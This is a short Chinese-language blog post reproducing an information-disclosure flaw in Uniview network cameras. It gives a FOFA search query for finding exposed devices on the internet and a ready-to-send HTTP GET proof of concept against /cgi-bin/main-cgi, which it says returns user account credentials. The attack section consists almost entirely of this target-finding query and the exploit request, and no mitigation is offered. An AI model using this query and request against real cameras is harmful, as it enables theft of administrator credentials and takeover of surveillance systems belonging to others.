本文主要是介绍宇视科技视频监控 main-cgi 文件信息泄露漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x01 产品简介
宇视（Uniview）高清网络摄像机是一种高性能的网络摄像机，它可以通过网络进行视频传输和监控。该摄像机采用先进的视频技术，具有高清晰度、低照度、宽动态等特点，能够提供高质量的视频图像。
0x02 漏洞概述
宇视（Uniview）高清网络摄像机存在信息泄露漏洞，攻击者可以通过解密泄露信息获取管理员账号密码，登陆后台控制整个系统，最终导致系统处于极度不安全状态。
0x03 复现环境
FOFA：app="uniview-视频监控"
0x04 漏洞复现
PoC
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}" HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15获取用户账号密码
这篇关于宇视科技视频监控 main-cgi 文件信息泄露漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
